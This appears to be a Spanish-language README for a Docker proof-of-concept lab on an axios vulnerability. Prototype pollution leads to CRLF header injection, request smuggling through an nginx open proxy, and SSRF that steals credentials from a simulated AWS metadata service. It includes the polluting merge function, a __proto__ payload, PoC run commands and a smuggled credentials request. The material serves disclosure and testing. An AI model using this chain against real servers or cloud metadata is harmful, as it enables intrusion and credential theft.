lib/core/AxiosHeaders.js  AxiosHeaders.set()
  └─ normalizeValue()
       └─ /[\r\n]+$/ elimina solo CRLF finales
          ↑ Los \r\n en medio del valor pasan sin cambios

Object.prototype.isAdmin = true;

const user = {};
user.isAdmin;  // true ← existe sin haber sido declarado

function vulnerableMerge(target, source) {
  for (const key of Object.keys(source)) {
    if (typeof source[key] === 'object') {
      if (!target[key]) target[key] = {};
      vulnerableMerge(target[key], source[key]);
      // cuando key = "__proto__":
      //   target["__proto__"] → devuelve Object.prototype
      //   → vulnerableMerge(Object.prototype, source["__proto__"])
      //   → inyecta propiedades directamente en Object.prototype
    } else {
      target[key] = source[key];
    }
  }
}

// JSON del atacante: __proto__ se analiza como propiedad propia
const payload = JSON.parse('{"__proto__":{"headers":{"X-Smuggle":"evil\\r\\n..."}}}');
vulnerableMerge({}, payload);

({}).headers;  // { 'X-Smuggle': 'evil\r\n...' } ← contaminación exitosa

Object.prototype.headers = { 'X-Smuggle': 'evil\r\n...' }
         ↓
Código de la app: const opts = {};
         opts.headers  →  cadena de prototipos  →  devuelve el objeto contaminado
         ↓
axios.get(url, { headers: opts.headers, adapter: rawSocketAdapter })
         ↓
AxiosHeaders.set('X-Smuggle', 'evil\r\n...')  ← sin validación de CRLF
         ↓
La solicitud contrabandeada queda incluida en el flujo TCP

Al llamar a assertOptions(config, schema)
  schema['headers']  →  cadena de prototipos  →  devuelve el objeto contaminado
  validator(value)   →  llama al objeto como función  →  TypeError

[1] Inyección directa de encabezados o contaminación de prototipos (a través de una librería merge vulnerable)
        ↓
[2] axios serializa el valor con CRLF como encabezado sin validación
        ↓
[3] Se escribe en el flujo TCP con un net.Socket crudo
        (el módulo http estándar de Node.js lo bloquea en tiempo de ejecución → se necesita un adapter personalizado)
        ↓
[4] nginx (proxy_pass http://$http_host) analiza y separa en 2 solicitudes
        ↓
[5] La solicitud contrabandeada se enruta a otro upstream según su encabezado Host (SSRF)
        ↓
[6] Acceso a servidores internos (IMDS, etc.) → robo de credenciales

┌─────────────────────────────────────────────────────────┐
│  Máquina anfitriona                                     │
│                                                         │
│  test-axios-adapter-*.js                                │
│  (net.Socket crudo → nginx:8080)                        │
│                                                         │
│  navegador → exploit.html (3003)                        │
│         → relay (3004) → socket crudo → nginx:8080      │
└────────────────────┬────────────────────────────────────┘
                     │ Puente Docker (cve-net)
          ┌──────────┼──────────┬──────────────┐
          ▼          ▼          ▼              ▼
      backend     nginx       imds           (futuro)
      :3001       :8080       :80
      :3003                   (simulacro 169.254.169.254)
      :3004

# Compilar e iniciar todos los contenedores
docker compose up --build

# Prueba de Node.js (ejecutar en el host)
npm install

# 1. Backend directo — se generan 2 solicitudes mediante inyección CRLF
node poc/test-axios-adapter-backend.js

# 2. A través de nginx — la solicitud contrabandeada se enruta a backend:3001
node poc/test-axios-adapter-nginx.js

# 3. Contaminación de prototipos → Inyección CRLF → cadena SSRF
node poc/test-prototype-pollution.js

# 4. Navegador — http://localhost:3003
#    Selección de objetivo: backend directo / a través de nginx / nginx → IMDS (SSRF)

1. Seleccionar nginx → IMDS y ejecutar el Adapter personalizado
2. Solicitud contrabandeada: GET /latest/meta-data/iam/security-credentials/my-ec2-role
                  Host: imds
3. nginx enruta con host=imds → se envía al servidor simulado IMDSv2
4. Registro del contenedor imds: [!!!] ¡Robo de credenciales exitoso!

.
├── docker-compose.yml
├── Dockerfile.backend          # contenedor backend + relay
├── Dockerfile.imds             # contenedor simulado IMDSv2
├── package.json                # [email protected] (versión vulnerable fijada)
└── poc/
    ├── backend-server.js       # servidor HTTP (3001), relay (3004), servidor estático (3003)
    ├── mock-imds.js            # simulacro de AWS IMDSv2 (PUT /token, GET /credentials)
    ├── nginx-container.conf    # configuración de proxy abierto
    ├── exploit.html            # PoC para navegador (XHR vs Adapter personalizado)
    ├── test-axios-adapter-backend.js   # socket crudo → backend directo
    ├── test-axios-adapter-nginx.js    # socket crudo → nginx → backend/imds
    ├── test-axios-no-adapter.js       # axios estándar (para confirmar el bloqueo de Node.js)
    └── test-prototype-pollution.js    # cadena contaminación de prototipos → inyección CRLF

resolver 127.0.0.11 valid=30s;   # DNS interno de Docker

location / {
    proxy_pass         http://$http_host;   # enrutamiento dinámico basado en el encabezado Host = SSRF
    proxy_http_version 1.1;
    proxy_set_header   Connection "";
    proxy_set_header   Host $http_host;
}

location /public {
    proxy_pass         http://backend:3001;  # upstream fijo para solicitudes normales
}

npm install axios@^1.15.0